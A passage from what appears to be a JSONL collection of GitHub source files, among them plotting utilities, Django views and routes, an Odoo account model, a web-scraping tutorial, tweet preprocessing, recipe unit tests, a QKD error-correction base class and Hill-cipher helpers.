plt.plot(np.arange(loss_constrained.shape[1]), np.mean(loss_unconstrained, axis=0), 'r', label='unconstrained')\n plt.errorbar(np.arange(loss_constrained.shape[1]), np.mean(loss_unconstrained, axis=0), yerr=np.std(loss_unconstrained, axis=0), fmt='r', capsize=3, alpha=0.5)\n plt.yscale('log')\n plt.xlabel(\"layer $l$\")\n plt.ylabel(\"loss $f(\\mathbf{W}_l)$\")\n plt.legend()\n\n plt.subplot(1,2,2)\n plt.plot(np.arange(acc.shape[1]), np.mean(acc, axis=0)*100, 'b', label='constrained')\n plt.errorbar(np.arange(acc.shape[1]), np.mean(acc, axis=0)*100, yerr=np.std(acc, axis=0)*100, fmt='b', capsize=3, alpha=0.5)\n plt.plot(np.arange(acc.shape[1]), np.mean(acc_unconstrained, axis=0)*100, 'r', label='unconstrained')\n plt.errorbar(np.arange(acc.shape[1]), np.mean(acc_unconstrained, axis=0)*100, yerr=np.std(acc_unconstrained, axis=0)*100, fmt='r', capsize=3, alpha=0.5)\n plt.xlabel(\"layer $l$\")\n plt.ylabel(\"Accuracy %\")\n plt.legend()\n plt.tight_layout()\n plt.savefig(f'figs/{title}.pdf')\n sns.reset_orig()\n\ndef plotAsyn(constrainedAsyn, unconstrainedAsyn, title):\n mean1 = [constrainedAsyn[i][0] for i in range(len(constrainedAsyn))]\n std1 = [constrainedAsyn[i][1] for i in range(len(constrainedAsyn))]\n mean2 = [unconstrainedAsyn[i][0] for i in range(len(unconstrainedAsyn))]\n std2 = [unconstrainedAsyn[i][1] for i in range(len(unconstrainedAsyn))]\n # Figure 1: Distance to optimal\n sns.set_context('notebook')\n sns.set_style('darkgrid')\n plt.figure(figsize=(4,3))\n plt.plot(np.arange(len(constrainedAsyn)), mean1, 'b', label='constrained')\n plt.errorbar(np.arange(len(constrainedAsyn)), mean1, yerr=std1, fmt='b', capsize=3, alpha=0.5)\n plt.plot(np.arange(len(constrainedAsyn)), mean2, 'r', label='unconstrained')\n plt.errorbar(np.arange(len(constrainedAsyn)), mean2, yerr=std2, fmt='r', capsize=3, alpha=0.5)\n plt.xlabel(r\"$n_{asyn}$\")\n plt.ylabel(f\"{title}\")\n if title == 'lossAsyn':\n plt.ylim(top=0.05)\n plt.legend()\n plt.tight_layout()\n plt.savefig(f'figs/{title}_Aysn.pdf')\n sns.reset_orig()","repo_name":"SMRhadou/fed-SURF","sub_path":"utils_testing.py","file_name":"utils_testing.py","file_ext":"py","file_size_in_byte":5022,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"38842091253","text":"from django.urls import path\nfrom pagina_web.views import (Inicio,listar_estudiantes,listar_profesores,\nlistar_cursos, crear_cursos, buscar_cursos,crear_estudiantes,buscar_estudiantes,\ncrear_profesores,buscar_profesores,)\n\n\nurlpatterns = [\n path('Inicio/', Inicio, name=\"iniciar\"),\n\n path(\"estudiantes/\", listar_estudiantes, name=\"listar_estudiantes\"),\n path(\"crear-estudiantes/\", crear_estudiantes, name=\"crear_estudiantes\"),\n path(\"buscar-estudiantes/\", buscar_estudiantes, name=\"buscar_estudiantes\"),\n\n path(\"profesores/\", listar_profesores, name=\"listar_profesores\"),\n path(\"crear-profesores/\",crear_profesores, name=\"crear_profesores\"),\n path(\"buscar-profesores\", buscar_profesores, name=\"buscar_profesores\"),\n\n path(\"cursos/\", listar_cursos, name=\"listar_cursos\"),\n path(\"crear-cursos/\", crear_cursos , name=\"crear_cursos\"),\n path(\"buscar-cursos/\", buscar_cursos, name=\"buscar_cursos\"),\n \n]","repo_name":"MateoBueno/Tercer-Pre-Entrega-Bueno","sub_path":"tercer_entrega/pagina_web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24861389152","text":"# creating a first list\nlst = [1, 2, 3, 4]\nlst1 = ['a', 'b', 'c']\nlst2 = [1, 2, 3, 'A']\nlst3 = [lst, lst1, lst2]\nprint(lst, lst1, lst2, lst3, sep='=====')\n\n# accessing first item of each list\nprint(lst[0], lst1[0], lst2[0], lst3[0])\nprint(len(lst))\nprint(len(lst3[0])) # see you get 4 here means u have 4 elements in the list which is at 1st index position of the lst3\nprint(type(lst2[3])) # see others were integer but the last one is string, so list can hold multiple datatypes\n\n# indexing and slicing\nlst2[-1] # negative indexing\nlst2[-3:-1] # you need to have bigger number on left if you are going by negative indexing\n\n'''Here are more examples of slicing lists if you're still not sure how slicing works.\n\nLet's suppose we have the following list in our Python shell:'''\ndays = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\ndays[0:3]\ndays[0:4]\ndays[:]\n\n# Ranges\nlist(range(1, 10))\n# step function in ranges\nlist(range(1, 10, 2)) # So, the count happens every two items starting from 1 and ending at 9.\n","repo_name":"AftabUdaipurwala/Quick_Python","sub_path":"Python Developer Course/Basics/Lists.py","file_name":"Lists.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"72519426280","text":"#First two modules.\n#Scraping from an array & list\n#The goal of harvesting is to extract all relevant links and put them in a list and back them in a MySQL.\n#Controlling your urls is an vital step into web scraping.\n#In this example module the examples will include ranges, lists(text files) and an array.\nfrom bs4 import BeautifulSoup\nimport time\nimport requests\nfrom config import headers,cookies, urlList\ncontroller = range(1,11) #I'm using the tests from the data repository, I'll include the pages in Theia 1-11 == 1-10\n#An Example of ranges\ndef collect():\n def rangeExample():\n print(\"Looping through a range\")\n for x in controller:\n url = \"http://10.0.1.4/{0}\".format(x) + \".html\" #The IP is meant for testing purposes, if you're going to scrape a live url change it!\n page = requests.get(url,headers=headers,cookies=cookies)\n try:\n time.sleep(1)\n html = page.content\n print(url)\n except Exception:\n print(\"An error occured in the request. Is your network adapter enabled?\")\n print(\"Is the url schema correct?\")\n except AttributeError:\n print(\"Are you scraping what's loaded in JavaScript?\")\n #Declarations/BS \n bs = BeautifulSoup(html, 'html.parser')\n #Below are an example of using find & findAll, same outputs \n for paragraph in bs.find(\"p\"):\n print(paragraph)\n for paragraph in bs.findAll(\"p\"): \n z = paragraph.get_text() \n print(z + \" Used findAll\") \n rangeExample()\n\n #Looping from a .txt file\n def loopExample():\n print(\"Looping through a list\")\n for url in urlList:\n print(url)\n page = requests.get(url,headers=headers,cookies=cookies)\n try:\n time.sleep(5)\n html = page.content\n except Exception:\n print(\"An error occured in the request. Is your network adapter enabled?\")\n print(\"Is the url schema correct?\")\n except AttributeError:\n print(\"Are you scraping what's loaded in JavaScript?\")\n #Declarations/BS \n bs = BeautifulSoup(html, 'html.parser') \n for titles in bs.find(\"title\"):\n print(titles)\n loopExample()\n\n def loopArray():\n print(\"Loop through an array\")\n urlArray = [\"http://10.0.1.4\", \"https://facebook.com\", \"https://youtube.com\"]\n for url in urlArray:\n print(url)\n page = requests.get(url,headers=headers,cookies=cookies)\n try:\n time.sleep(3)\n html = page.content\n except Exception:\n print(\"An error occured in the request. Is your network adapter enabled?\")\n print(\"Is the url schema correct?\")\n except AttributeError:\n print(\"Are you scraping what's loaded in JavaScript?\")\n #Declarations/BS \n bs = BeautifulSoup(html, 'html.parser') \n for titles in bs.find(\"title\"):\n print(titles)\n loopArray()\n'''\nNOTES:\nIf you find multiple elements li's a's etc. Use a find_all statement or find. I use find or select to loop make it an array.\n#I don't use find_all unless I'm dealing with tags, without classes or ID'S. It helps in the beginnig(Displaying all tags regardless of ID's | Classes)-\nbut I had some trouble with dictionaries with find_all(multiple str_class not an array)\nfor links in bs.find(\"attribute|a\"):\nfor links in bs.select(\".CLASS_NAME\"):\nfor links in bs.select(\"#ID_NAME\"):\nTo find an elements\nfor links in bs.find(\"a\"):\nTo find a complete list of elements\nprint(bs.findAll(\"element\"))\n'''","repo_name":"7248510/Theia","sub_path":"Python/harvest.py","file_name":"harvest.py","file_ext":"py","file_size_in_byte":3846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"74547464041","text":"# -*- coding: utf-8 -*-\n###############################################\n# EzTech Software & Consultancy Inc. (c) 2017\n###############################################\n\nfrom odoo import api, fields, models\nfrom odoo import tools, _\nfrom odoo.exceptions import ValidationError, Warning\nfrom odoo.modules.module import get_module_resource\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nimport logging\n\n_logger = logging.getLogger(__name__)\nDF = \"%Y-%m-%d\"\n\nADD_MONTHS = {\n 'quarterly': 3,\n 'semi-annual': 6,\n 'annual': 12,\n}\n\nclass Account(models.Model):\n _name = \"wc.account\"\n _description = \"Account\"\n _inherit = \"mail.thread\"\n _order = \"code\"\n\n name = fields.Char(\"Name\", compute=\"compute_name\", readonly=True, store=True)\n name_no_code = fields.Char(\"Name\", compute=\"compute_name\")\n code = fields.Char(\"Account No.\", track_visibility='onchange',\n default=\"NONE\", readonly=True, required=True, index=True)\n\n member_id = fields.Many2one('wc.member', string='Account Holder',\n domain=[('is_approved','=',True)],\n readonly=True, states={'draft': [('readonly', False)]},\n track_visibility='onchange', ondelete=\"restrict\", required=True)\n\n other_member_ids = fields.Many2many('wc.member', string='Other Joint Holders',\n domain=[('is_approved','=',True)],\n readonly=True, states={'draft': [('readonly', False)]})\n\n member_code = fields.Char(related=\"member_id.code\")\n member_type = fields.Selection(related=\"member_id.member_type\", readonly=True)\n\n account_type_id = fields.Many2one('wc.account.type', string='Account Type',\n readonly=True, states={'draft': [('readonly', False)]},\n track_visibility='onchange', ondelete=\"restrict\", required=True)\n account_type = fields.Selection(\"Account Type\", readonly=True,\n related=\"account_type_id.category\", store=True)\n account_type_description = fields.Char(\"Account Type Description\", readonly=True,\n related=\"account_type_id.description\")\n\n interest_rate = fields.Float(readonly=True, related=\"account_type_id.interest_rate\")\n\n #member_id2 = fields.Many2one('wc.member', string='Account Owner #2',\n # domain=[('is_approved','=',True)],\n # track_visibility='onchange', ondelete=\"restrict\")\n company_id = fields.Many2one(related=\"member_id.company_id\", readonly=True, store=True)\n\n #company_currency_id = fields.Many2one(related=\"member_id.company_currency_id\",\n # readonly=True, store=True)\n image = fields.Binary(compute=\"get_member_data\")\n image_medium = fields.Binary(compute=\"get_member_data\")\n image_small = fields.Binary(compute=\"get_member_data\")\n center_id = fields.Many2one(related=\"member_id.center_id\", readonly=True)\n address = fields.Char(compute=\"get_member_data\")\n\n active = fields.Boolean(default=True, track_visibility='onchange')\n\n state = fields.Selection([\n ('draft', 'Draft'),\n ('open', 'Open'),\n ('dormant', 'Dormant'),\n ('closed', 'Closed'),\n ], 'State', default=\"draft\", readonly=True, track_visibility='onchange')\n\n #time deposit date fields\n date_start = fields.Date(\"Start Date\",track_visibility='onchange',\n readonly=True, states={'draft': [('readonly', False)]},\n default=fields.Date.context_today, index=True)\n\n custom_months = fields.Integer('Custom Period',\n readonly=True, states={'draft': [('readonly', False)]},\n help=\"Set customize number of months maturity period.\",\n track_visibility='onchange')\n\n date_maturity = fields.Date(\"Maturity Date\", compute=\"get_date_maturity\",\n readonly=True, store=True)\n\n maintaining_balance = fields.Float(\"Maint. Balance\", digits=(12,2),\n #readonly=True, states={'draft': [('readonly', False)]},\n track_visibility='onchange')\n\n note = fields.Text('Notes', track_visibility='onchange')\n\n total_deposit = fields.Float(\"Total Deposit\", digits=(12,2), compute=\"compute_total\")\n total_withdrawal = fields.Float(\"Total Withdrawal\", digits=(12,2), compute=\"compute_total\")\n total_onclearing = fields.Float(\"Total Unavailable\", digits=(12,2), compute=\"compute_total\")\n balance = fields.Float(\"Account Balance\", digits=(12,2), compute=\"compute_total\", store=True)\n\n clean_name = fields.Char(\"Member Name\", compute=\"get_clean_name\")\n\n transaction_ids = fields.One2many('wc.account.transaction', 'account_id', string='Transactions')\n\n #total_cbu = fields.Float(\"Total CBU\", digits=(12,2), compute=\"_get_total_cbu\")\n #transaction_ids = fields.One2many('wc.cbu.transaction', 'cbu_id', string='Transactions')\n\n @api.multi\n @api.onchange('account_type_id')\n def onchange_account_type_id(self):\n for r in self:\n if r.account_type=='sa':\n r.maintaining_balance = r.account_type_id.maintaining_balance\n\n @api.multi\n @api.depends('date_start','account_type_id','account_type_id.posting_schedule','custom_months')\n def get_date_maturity(self):\n for acct in self:\n if acct.account_type_id and acct.account_type_id.posting_schedule:\n if acct.custom_months>0 and acct.account_type=='td':\n months = acct.custom_months\n else:\n months = ADD_MONTHS.get(acct.account_type_id.posting_schedule, 12)\n dt = fields.Datetime.from_string(acct.date_start) + relativedelta(months=months)\n acct.date_maturity = dt.strftime(DF)\n\n @api.model\n def create(self, vals):\n acct_type = self._context.get('account_type_category', 'none')\n if acct_type == 'cbu':\n raise Warning(_(\"Cannot create CBU account. Use Member menu.\"))\n return super(Account, self).create(vals)\n\n @api.model\n def name_search(self, name='', args=None, operator='ilike', limit=100):\n args = args or []\n records = self.browse()\n if name:\n records = self.search([('code', 'ilike', name)] + args, limit=limit)\n if not records:\n records = self.search([('name', operator, name)] + args, limit=limit)\n return records.name_get()\n\n @api.multi\n @api.depends(\n 'transaction_ids',\n 'transaction_ids.withdrawal',\n 'transaction_ids.deposit',\n 'transaction_ids.state'\n )\n def compute_total(self):\n for r in self:\n td = 0.0\n tw = 0.0\n tcl = 0.0\n for tr in r.transaction_ids:\n if tr.state == \"clearing\":\n tcl += tr.deposit - tr.withdrawal\n elif tr.state == 'confirmed':\n td += tr.deposit\n tw += tr.withdrawal\n\n r.total_deposit = td\n r.total_withdrawal = tw\n r.total_onclearing = tcl\n r.balance = td - tw\n\n @api.multi\n @api.depends('member_id')\n def get_member_data(self):\n for r in self:\n if r.member_id:\n r.image = r.member_id.partner_id.image\n r.image_medium = r.member_id.partner_id.image_medium\n r.image_small = r.member_id.partner_id.image_small\n r.address = r.member_id.partner_id.contact_address\n\n @api.multi\n @api.depends(\n 'member_id',\n 'member_id.name',\n 'other_member_ids',\n 'code',\n 'account_type'\n )\n def compute_name(self):\n for r in self:\n names = []\n if r.member_id:\n names.append(r.member_id.name)\n if r.other_member_ids and r.account_type != 'cbu':\n #names.append(r.member_id2.name)\n names.append(\"et al.\")\n name = \" \".join(names)\n r.name_no_code = name\n if r.code:\n name = r.code + \" - \" + name\n r.name = name\n\n @api.multi\n def approve_account(self):\n for r in self:\n if r.custom_months<0:\n raise ValidationError(_(\"Cannot set custom months period to less than zero.\"))\n r.state = \"open\"\n if (r.code == \"NONE\" or not r.code):\n if r.account_type == \"cbu\":\n if r.member_id.is_approved:\n r.code = r.member_id.code\n else:\n if r.account_type_id.sequence_id:\n #r.code = r.account_type_id.code + \"-\" + r.account_type_id.sequence_id.next_by_id()\n r.code = r.account_type_id.code + \"-\" + r.account_type_id.sequence_id.next_by_id()\n\n @api.multi\n def activate_account(self):\n trcode_id = self.env['wc.tr.code'].search([\n ('code','=','D->A')\n ], limit=1)\n if not trcode_id:\n raise Warning(_(\"No transaction type defined for dormant to active (D->A).\"))\n for r in self:\n trans = r.transaction_ids.create({\n 'account_id': r.id,\n 'trcode_id': trcode_id[0].id,\n })\n trans.confirm()\n trans.approve()\n #r.state = \"open\"\n\n @api.multi\n def close_account(self):\n for r in self:\n r.state = \"closed\"\n\n @api.multi\n def open_account(self):\n for r in self:\n r.state = \"open\"\n\n @api.multi\n def create_transaction(self):\n self.ensure_one()\n domain = []\n #context = \"{'default_account_id': %d, 'filter_trans_type': '%s'}\" % (self.id, self.account_type)\n context = \"{'default_account_id': %d}\" % (self.id)\n view_id = self.env.ref('wc_account.form_transaction')\n return {\n 'name': 'Create Transaction',\n 'domain': domain,\n 'view_id': view_id and view_id.id or False,\n 'res_model': 'wc.account.transaction',\n 'type': 'ir.actions.act_window',\n 'view_mode': 'form',\n 'view_type': 'form',\n 'context': context,\n #'target': 'current',\n 'target': 'self',\n #'target': 'new',\n }\n\n @api.model\n def get_balance_at_date(self, account_id, date):\n self.ensure_one()\n trans = self.env['wc.account.transaction'].search([\n ('account_id','=',account_id),\n ('state','=','confirmed'),\n ('date','<=',date),\n ])\n balance = 0.0\n for tr in trans:\n balance += tr.deposit - tr.withdrawal\n return balance\n\n @api.multi\n def print_passbook(self):\n _logger.debug(\"print_passbook: base\")\n return {}\n\n #ascii name\n @api.multi\n @api.depends('member_id','member_id.name')\n def get_clean_name(self):\n for r in self:\n name = \"\"\n if r.member_id and r.member_id.name:\n a = r.member_id.name\n enye_caps = u\"\\u00D1\"\n enye = u\"\\u00F1\"\n name = a.replace(enye_caps, \"N\").replace(enye,\"n\").encode('ascii','replace')\n r.clean_name = name\n\n\n#\n","repo_name":"AllianceWebcoop/webcoop_source","sub_path":"wc_account/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":10981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"324489765","text":"import re\nimport nltk\nnltk.download('wordnet')\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import stopwords\n\n# Defining dictionary containing all emojis with their meanings.\nemojis = {':)': 'smile', ':-)': 'smile', ';d': 'wink', ':-E': 'vampire', ':(': 'sad',\n ':-(': 'sad', ':-<': 'sad', ':P': 'raspberry', ':O': 'surprised',\n ':-@': 'shocked', ':@': 'shocked',':-$': 'confused', ':\\\\': 'annoyed',\n ':#': 'mute', ':X': 'mute', ':^)': 'smile', ':-&': 'confused', '$_$': 'greedy',\n '@@': 'eyeroll', ':-!': 'confused', ':-D': 'smile', ':-0': 'yell', 'O.o': 'confused',\n '<(-_-)>': 'robot', 'd[-_-]b': 'dj', \":'-)\": 'sadsmile', ';)': 'wink',\n ';-)': 'wink', 'O:-)': 'angel','O*-)': 'angel','(:-D': 'gossip', '=^.^=': 'cat'}\n\n\ndef preprocess(textdata):\n processedText = []\n\n # Create Lemmatizer and Stemmer.\n wordLemm = WordNetLemmatizer()\n\n # Defining regex patterns.\n urlPattern = r\"((http://)[^ ]*|(https://)[^ ]*|( www\\.)[^ ]*)\"\n userPattern = '@[^\\s]+'\n alphaPattern = \"[^a-zA-Z0-9]\"\n sequencePattern = r\"(.)\\1\\1+\"\n seqReplacePattern = r\"\\1\\1\"\n\n for tweet in textdata:\n tweet = tweet.lower()\n\n # Replace all URls with 'URL'\n tweet = re.sub(urlPattern, ' URL', tweet)\n # Replace all emojis.\n for emoji in emojis.keys():\n tweet = tweet.replace(emoji, \"EMOJI\" + emojis[emoji])\n # Replace @USERNAME to 'USER'.\n tweet = re.sub(userPattern, ' USER', tweet)\n # Replace all non alphabets.\n tweet = re.sub(alphaPattern, \" \", tweet)\n # Replace 3 or more consecutive letters by 2 letter.\n tweet = re.sub(sequencePattern, seqReplacePattern, tweet)\n # remove content contains too few information (<6)\n\n tweetwords = ''\n for word in tweet.split():\n # Checking if the word is a stopword.\n if word not in stopwords.words('english'):\n if len(word) > 1:\n # Lemmatizing the word.\n word = wordLemm.lemmatize(word)\n tweetwords += (word + ' ')\n\n processedText.append(tweetwords)\n\n return processedText\n","repo_name":"JChen255/tweets-sentiment-analysis","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"4482721349","text":"'''\nmultiplication table printer\n'''\n\ndef multi_tables(a):\n for i in range(1,11):\n print('{0} * {1} = {2}'.format(a,i,a*i))\nif __name__ == '__main__':\n a = input('enter a number: ')\n multi_tables(float(a))\n","repo_name":"junnnnn06/python","sub_path":"05.乗算表.py","file_name":"05.乗算表.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35270255383","text":"import os\n\nfrom django.conf import settings\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nimport random\n\nfrom fakeapp.constanst import nickname, comment\nfrom fakeapp.filters import FakeChatFilter\nfrom fakeapp.models import FakeChat, FakePeople\nfrom fakeapp.serializers import FakeChatSerializer, FakeDogSerializer\n\n\n# Create your views here.\n\n\n@api_view(['GET'])\n@swagger_auto_schema(\n request_body=FakeChatSerializer,\n responses={200: \"Success\", 400: \"Bad Request\"},\n)\ndef fake_chat_view(request):\n queryset = FakeChat.objects.all()\n queryset = FakeChatFilter(request.GET, queryset=queryset).qs\n serializer = FakeChatSerializer(queryset, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef fake_dog(request):\n queryset = FakePeople.objects.all()\n serializer = FakeDogSerializer(queryset, many=True, context={'request': request}).data\n return Response(data=serializer, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef fake_dog_detail(request, id):\n queryset = FakePeople.objects.get(id=id)\n serializer = FakeDogSerializer(queryset, context={'request': request}).data\n return Response(data=serializer, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef life_chat(request):\n life = random.choice(nickname)\n comm = random.choice(comment)\n media_root = settings.MEDIA_ROOT\n media_path = os.path.join(media_root)\n images = [f for f in os.listdir(media_path) if f.endswith(\".jpg\")]\n if images:\n random_image = random.choice(images)\n image_url = os.path.join(random_image)\n full_image_url = request.build_absolute_uri(image_url)\n return Response({'username': life,\n 'comment': comm,\n 'image': full_image_url\n }, status=status.HTTP_200_OK)\n return Response(status=status.HTTP_404_NOT_FOUND)\n","repo_name":"arsenn5/TestAws","sub_path":"fakeapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73689516199","text":"import pandas as pd\nimport unittest\nfrom unittest.mock import patch\nfrom recipes.Veg import difficult as dv\nimport recipes.Veg.veg as nve\n\nclass TestVegDifficult(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n print('setupClass')\n \n @classmethod\n def tearDownClass(cls):\n print('teardownClass')\n \n def setUp(self):\n self.x=pd.read_csv(\"Recipes.csv\")\n TestVegDifficult.a=dv.difficult(self.x)\n y = \"Bread Milk Flour Rice Carrot Potato Brocolli Onion Cheese Oats Lentils Noodles Pasta Corn Spinach\"\n @patch('builtins.input',return_value=y)\n def test_veg_select(self,mock_input):\n\n result1= TestVegDifficult.a.select()\n \n self.assertIn(\"Potato\", result1)\n self.assertIn(\"Milk\", result1)\n self.assertIn(\"Spinach\", result1)\n self.assertIn(\"Cheese\", result1)\n self.assertIn(\"Flour\", result1)\n \n x=[\"Bread pakoda\",\"Rabdi\",\"Tacos\",\"Veg Biryani\",\"Carrot Cake\",\"Aloo paratha\",\"Brocolli manchurian\",\"French onion soup\",\"Corn and cheese momos\",\"Oats pancake\",\"Dal paratha\",\"Wonton noodle soup\",\"Lasagna\",\"Corn pakoda\",\"Spinach ravioli\",\"Bread Upma\",\"Kulfi\",\"Muffins\",\"Dosa\",\"Carrot halwa\",\"Cajun spiced potato\",\"Brocolli base pizza\",\"Onion paratha\",\"Cheesy Pizza\",\"Oats cookie\",\"Dal pakoda\",\"Veggie garlic noodles\",\"Ravioli pasta\",\"Corn soup\",\"Spinach chaat\"]\n @patch('builtins.input',return_value=x)\n def test_veg_search(self,mock_input):\n result2= TestVegDifficult.a.search()\n \n self.assertIn(\"Bread pakoda\", result2)\n self.assertIn(\"Spinach ravioli\", result2)\n self.assertIn(\"Oats pancake\", result2)\n self.assertIn(\"Ravioli pasta\", result2)\n self.assertIn(\"Spinach chaat\", result2)\n \n z = [\"Easy\", \"Medium\", \"Hard\", \"easy\", \"medium\", \"hard\", \"EASY\", \"MEDIUM\", \"HARD\", \"e\", \"m\" ,\"h\", \"eas\", \"med\", \"hrd\"]\n @patch('builtins.input',return_value=z)\n \n def test_veg_level(self,mock_input):\n result= nve.level()\n self.assertIn(\"Hard\", result)\n self.assertIn(\"hard\", result)\n self.assertIn(\"HARD\", result)\n self.assertIn(\"h\", result)\n self.assertIn(\"hrd\", result)\n \n def tearDown(self):\n print(\"Tear down\")\n\nunittest.main(argv=[''], verbosity=2, exit=False)","repo_name":"DishaDH123/Recipebook","sub_path":"recipes/Veg/.ipynb_checkpoints/TestVegDiff-checkpoint.py","file_name":"TestVegDiff-checkpoint.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27777887223","text":"\"\"\"Base class for error corrector objects.\"\"\"\nfrom __future__ import annotations\n\nimport abc\nimport hashlib\nimport hmac\nfrom dataclasses import dataclass, fields\nfrom typing import Optional, Tuple\n\nfrom tno.quantum.communication.qkd_key_rate.base import (\n Message,\n ReceiverBase,\n SenderBase,\n)\n\n\n@dataclass\nclass CorrectorOutputBase:\n \"\"\"Base class corrector summary object\n\n Args:\n input_alice: Input message Alice\n output_alice: Corrected message Alice\n input_bob: Input message Bob\n output_bob: Corrected message Bob\n input_error: Input error rate\n output_error: Output error rate\n output_length: Output message length\n number_of_exposed_bits: Number of bits exposed in protocol\n key_reconciliation_rate: Key reconciliation efficiency\n number_of_communication_rounds: Number of communication rounds\n \"\"\"\n\n input_alice: Message\n output_alice: Message\n input_bob: Message\n output_bob: Message\n input_error: float\n output_error: float\n output_length: int\n number_of_exposed_bits: int\n key_reconciliation_rate: float\n number_of_communication_rounds: int\n\n def __str__(self) -> str:\n res = \"\\nCorrector summary:\"\n for field in fields(self):\n res += f\"\\n{field.name} ({field.type}):\\t {getattr(self, field.name)}\"\n return res\n\n\nclass Corrector(metaclass=abc.ABCMeta):\n \"\"\"Error corrector base class.\"\"\"\n\n def __init__(\n self,\n alice: SenderBase,\n bob: ReceiverBase,\n ) -> None:\n \"\"\"Base class for error correcting\n\n Args:\n Alice: The sending party\n Bob: The receiving party\n \"\"\"\n self.alice = alice\n self.bob = bob\n\n def correct_errors(\n self, detail_transcript: Optional[bool] = False\n ) -> CorrectorOutputBase:\n \"\"\"Receiver Bob corrects the errors based on Alice her message.\n\n Args:\n detail_transcript: Whether to print a detailed transcript\n \"\"\"\n self.bob.correct_errors(self.alice)\n\n if detail_transcript:\n print(self.bob.transcript)\n\n return self.summary()\n\n @abc.abstractmethod\n def summary(self) -> CorrectorOutputBase:\n \"\"\"\n Calculate a summary object for the error correction containing\n - original message\n - corrected message\n - error rate (before and after correction)\n - number_of_exposed_bits\n - key_reconciliation_rate\n - protocol specific parameters\n \"\"\"\n\n @staticmethod\n def calculate_number_of_errors(message1: Message, message2: Message) -> int:\n \"\"\"Calculate the error rate between two messages\n If messages differ in length, the number of errors is calculated\n using the number of bits of the shortest message.\n\n Args:\n message1: First message\n message2: Second message\n\n Returns:\n number_of_errors: Number of errors.\n \"\"\"\n assert message1.length != 0 and message2.length != 0\n return sum((x != y for (x, y) in zip(message1.message, message2.message)))\n\n @staticmethod\n def calculate_error_rate(message1: Message, message2: Message) -> float:\n \"\"\"Calculate the error rate between two messages.\n\n If messages differ in length, the number of errors is calculated\n using the number of bits of the shortest message.\n\n Args:\n message1: First message\n message2: Second message\n\n Returns:\n error_rate: Ratio of errors over the message length.\n \"\"\"\n return Corrector.calculate_number_of_errors(message1, message2) / min(\n message1.length, message2.length\n )\n\n def calculate_key_reconciliation_rate(self, exposed_bits: bool = False) -> float:\n \"\"\"Calculate the key reconciliation rate.\n\n Args:\n exposed_bits: If true, uses the number of exposed bits to compute the\n key-reconciliation rate. Otherwise, uses the ratio between the in- and\n output message length.\n\n Returns:\n key_rate: The reconciliation rate\n \"\"\"\n if exposed_bits:\n key_rate = (\n self.alice.message.length - self.alice.net_exposed_bits\n ) / self.alice.original_message.length\n else:\n key_rate = self.alice.message.length / self.alice.original_message.length\n return key_rate\n\n @staticmethod\n def create_message_tag_pair(\n message: Message, shared_key: str\n ) -> Tuple[bytes, bytes]:\n \"\"\"Prepares a message-tag hashed pair.\n\n The message can be communicated publicly. The tag is the hash of the message,\n given a key.\n\n Args:\n message: To be communicated message\n key: Shared secret key\n\n Returns:\n message: To be communicated message\n tag: Hash of the message, given the key, with length of the key\n \"\"\"\n message_str = \"\".join(str(x) for x in message.message)\n shared_key = bytes(shared_key.encode(\"utf-8\"))\n message_bytes = bytes(message_str.encode(\"utf-8\"))\n\n tag = hmac.new(key=shared_key, msg=message_bytes, digestmod=hashlib.sha384)\n return message_bytes, tag.digest()\n","repo_name":"TNO-Quantum/communication.qkd_key_rate","sub_path":"tno/quantum/communication/qkd_key_rate/base/corrector.py","file_name":"corrector.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"20317756049","text":"\ndef bezout(a, b):\n ''' Calcule (u, v, p) tels que a*u + b*v = p et p = pgcd(a, b) '''\n if a == 0 and b == 0:\n return (0, 0, 0)\n if b == 0:\n return (a / abs(a), 0, abs(a))\n (u, v, p) = bezout(b, a % b)\n return (v, (u - v * (a / b)), p)\n\n\ndef inverse_mod(x, m):\n ''' Calcule y dans [[0, m-1]] tel que x*y % abs(m) = 1 '''\n (u, _, p) = bezout(x, m)\n if p == 1:\n return u % abs(m)\n else:\n raise Exception(\"%s et %s ne sont pas premiers entre eux\" % (x, m))\n\n\ndef co_mat(M): # tmp...\n tmp = M[0][0]\n M[0][0] = M[1][1]\n M[1][1] = tmp\n M[0][1] *= -1\n M[1][0] *= -1\n return M\n\n\ndef det_mat(M): # tmp...\n return (M[0][0] * M[1][1]) - (M[0][1] * M[1][0])\n\n\ndef calculer_inverse(M):\n det = det_mat(M)\n idet = inverse_mod(det, 26)\n print (\"Det inverse modulaire : %s\" % idet)\n cM = co_mat(M)\n return mul_kmat(idet, cM)\n\n\ndef mul_kmat(k, 